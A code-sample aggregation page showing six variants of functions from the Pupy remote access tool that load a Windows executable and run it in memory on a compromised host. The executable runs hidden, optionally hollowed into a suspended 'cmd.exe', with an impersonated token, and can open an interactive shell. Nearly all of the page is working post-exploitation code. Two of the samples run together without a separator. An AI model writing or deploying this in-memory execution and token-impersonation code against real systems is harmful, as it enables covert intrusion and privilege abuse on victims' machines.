Пример #1
0
	def run(self, args):
		if args.interactive:
			#TODO
			self.error("interactive memory execution has not been implemented yet")
			return
		
		#check we are injecting from the good process arch:
		pe_arch=get_pe_arch(args.path)
		proc_arch=self.client.desc["proc_arch"]
		if pe_arch!=proc_arch:
			self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or first migrate into a %s process"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch))
			return

		
		wait=True
		redirect_stdio=True
		if args.fork:
			wait=False
			redirect_stdio=False
		raw_pe=b""
		with open(args.path,'rb') as f:
			raw_pe=f.read()
		self.client.load_package("pupymemexec")
		self.client.load_package("pupwinutils.memexec")
		res=""
		self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio)
		self.mp.run()
		while True:
			if self.mp.wait(1):
				break
		self.mp.close()
		res=self.mp.get_stdout()
		self.log(res)
Пример #2
0
def exec_pe(module, prog_args, path=None, raw_pe=None, interactive=False, fork=False, timeout=None, use_impersonation=False, suspended_process="cmd.exe"):
    if not raw_pe and not path:
        raise Exception("raw_pe or path must be supplied")
    if path:
        pe_arch=get_pe_arch(path)
        proc_arch=module.client.desc["proc_arch"]
        if pe_arch!=proc_arch:
            module.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or migrate into a %s process first"%(path, pe_arch, proc_arch, proc_arch, pe_arch))
            return
    wait=True
    redirect_stdio=True
    if fork:
        wait=False
        redirect_stdio=False
    if not raw_pe:
        raw_pe=b""
        with open(path,'rb') as f:
            raw_pe=f.read()
    module.client.load_package("pupymemexec")
    module.client.load_package("pupwinutils.memexec")

    res=""
    dupHandle=None
    if use_impersonation:
        dupHandle=module.client.impersonated_dupHandle
        if dupHandle is None:
            module.error("No token has been impersonated on this session. use impersonate module first")
            return
    if not hasattr(module, 'mp'):
        setattr(module, 'mp', None)
    module.mp=module.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=prog_args, hidden=True, redirect_stdio=redirect_stdio, suspended_process=suspended_process, dupHandle=dupHandle)
    with redirected_stdio(module.client.conn):
        module.mp.run()
    if not fork:
        if interactive:
            try:
                with redirected_stdio(module.client.conn):
                    module.mp.get_shell()
            finally:
                module.mp.close()
        else:
            starttime=time.time()
            while True:
                if module.mp.wait(1):
                    break
                if timeout:
                    if time.time()-starttime>timeout:
                        break
            module.mp.close()
            res=module.mp.get_stdout()
            module.log(res)
            return res
Пример #3
0
	def run(self, args):
		if args.fork and args.interactive:
			self.error("--fork and --interactive options can't be used together")
			return

		#check we are injecting from the good process arch:
		pe_arch=get_pe_arch(args.path)
		proc_arch=self.client.desc["proc_arch"]
		if pe_arch!=proc_arch:
			self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or migrate into a %s process first"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch))
			return

		wait=True
		redirect_stdio=True
		if args.fork:
			wait=False
			redirect_stdio=False

		raw_pe=b""
		with open(args.path,'rb') as f:
			raw_pe=f.read()

		self.client.load_package("pupymemexec")
		self.client.load_package("pupwinutils.memexec")

		res=""
		self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio)
		self.mp.run()
		if not args.fork:
			if args.interactive:
				try:
					with redirected_stdio(self.client.conn):
						self.mp.get_shell()
				finally:
					self.mp.close()
			else:
				starttime=time.time()
				while True:
					if self.mp.wait(1):
						break
					if args.timeout:
						if time.time()-starttime>args.timeout:
							break
				self.mp.close()
				res=self.mp.get_stdout()
				self.log(res)
Пример #4
0
    def exec_pe(self, path, prog_args, interactive=False, fork=False, timeout=None):
        pe_arch = get_pe_arch(path)
        proc_arch = self.client.desc["proc_arch"]
        if pe_arch != proc_arch:
            self.error(
                "%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or migrate into a %s process first"
                % (path, pe_arch, proc_arch, proc_arch, pe_arch)
            )
            return
        wait = True
        redirect_stdio = True
        if fork:
            wait = False
            redirect_stdio = False
        raw_pe = b""
        with open(path, "rb") as f:
            raw_pe = f.read()
        self.client.load_package("pupymemexec")
        self.client.load_package("pupwinutils.memexec")

        res = ""
        self.mp = self.client.conn.modules["pupwinutils.memexec"].MemoryPE(
            raw_pe, args=prog_args, hidden=True, redirect_stdio=redirect_stdio
        )
        self.mp.run()
        if not fork:
            if interactive:
                try:
                    with redirected_stdio(self.client.conn):
                        self.mp.get_shell()
                finally:
                    self.mp.close()
            else:
                starttime = time.time()
                while True:
                    if self.mp.wait(1):
                        break
                    if timeout:
                        if time.time() - starttime > timeout:
                            break
                self.mp.close()
                res = self.mp.get_stdout()
                self.log(res)
def exec_pe(module,
            prog_args,
            path=None,
            raw_pe=None,
            interactive=False,
            fork=False,
            timeout=None,
            use_impersonation=False,
            suspended_process="cmd.exe"):
    if not raw_pe and not path:
        raise Exception("raw_pe or path must be supplied")
    if path:
        pe_arch = get_pe_arch(path)
        proc_arch = module.client.desc["proc_arch"]
        if pe_arch != proc_arch:
            module.error(
                "%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or migrate into a %s process first"
                % (path, pe_arch, proc_arch, proc_arch, pe_arch))
            return
    wait = True
    redirect_stdio = True
    if fork:
        wait = False
        redirect_stdio = False
    if not raw_pe:
        raw_pe = b""
        with open(path, 'rb') as f:
            raw_pe = f.read()

    res = ""
    dupHandle = None
    if use_impersonation:
        dupHandle = module.client.impersonated_dupHandle
        if dupHandle is None:
            module.error(
                "No token has been impersonated on this session. use impersonate module first"
            )
            return
    if not hasattr(module, 'mp'):
        setattr(module, 'mp', None)
    module.mp = module.client.conn.modules['pupwinutils.memexec'].MemoryPE(
        raw_pe,
        args=prog_args,
        hidden=True,
        redirect_stdio=redirect_stdio,
        suspended_process=suspended_process,
        dupHandle=dupHandle)
    with redirected_stdio(module):
        module.mp.run()
    if not fork:
        if interactive:
            try:
                with redirected_stdio(module):
                    module.mp.get_shell()
            finally:
                module.mp.close()
        else:
            starttime = time.time()
            while True:
                if module.mp.wait(1):
                    break
                if timeout:
                    if time.time() - starttime > timeout:
                        break
            module.mp.close()
            res = module.mp.get_stdout()
            module.log(res)
            return res
Пример #6
0
def exec_pe(module, prog_args, path=None, raw_pe=None, interactive=False, use_impersonation=False, suspended_process="cmd.exe", codepage=None):
    if not raw_pe and not path:
        raise Exception("raw_pe or path must be supplied")

    if path:
        pe_arch = get_pe_arch(path)
        proc_arch = module.client.desc["proc_arch"]
        if pe_arch != proc_arch:
            module.error(
                '%s is a %s PE and your pupy payload is a %s process. '
                'Please inject a %s PE or migrate into a %s process first'%(
                    path, pe_arch, proc_arch, proc_arch, pe_arch))

            return

    wait = True

    if not raw_pe:
        raw_pe = b''
        with open(path,'rb') as f:
            raw_pe = f.read()

    res = ''
    dupHandle = None
    if use_impersonation:
        dupHandle = module.client.impersonated_dupHandle
        if dupHandle is None:
            module.error('No token has been impersonated on this session. use impersonate module first')
            return

    if not hasattr(module, 'mp'):
        setattr(module, 'mp', None)

    module.mp = module.client.conn.modules[
        'pupwinutils.memexec'
    ].MemoryPE(
        raw_pe, args=prog_args, hidden=True,
        suspended_process=suspended_process,
        dupHandle=dupHandle
    )

    complete = threading.Event()

    if interactive:
        repl, _ = CmdRepl.thread(
            module.stdout,
            module.mp.write,
            complete,
            True, None,
            codepage
        )

        module.client.conn.register_remote_cleanup(
            module.mp.close
        )

        if module.mp.execute(complete.set, repl._con_write):
            complete.wait()
            module.mp.close()

            module.client.conn.unregister_remote_cleanup(
                module.mp.close
            )

            module.success('Process exited. Press ENTER')
        else:
            complete.set()
            module.error('Launch failed. Press ENTER')
    else:
        pid = module.mp.execute(complete.set, None)
        if pid:
            complete.wait()
            module.success('[Process launched: PID={}]'.format(pid))
        else:
            module.error('Launch failed')

     
    return module.mp.stdout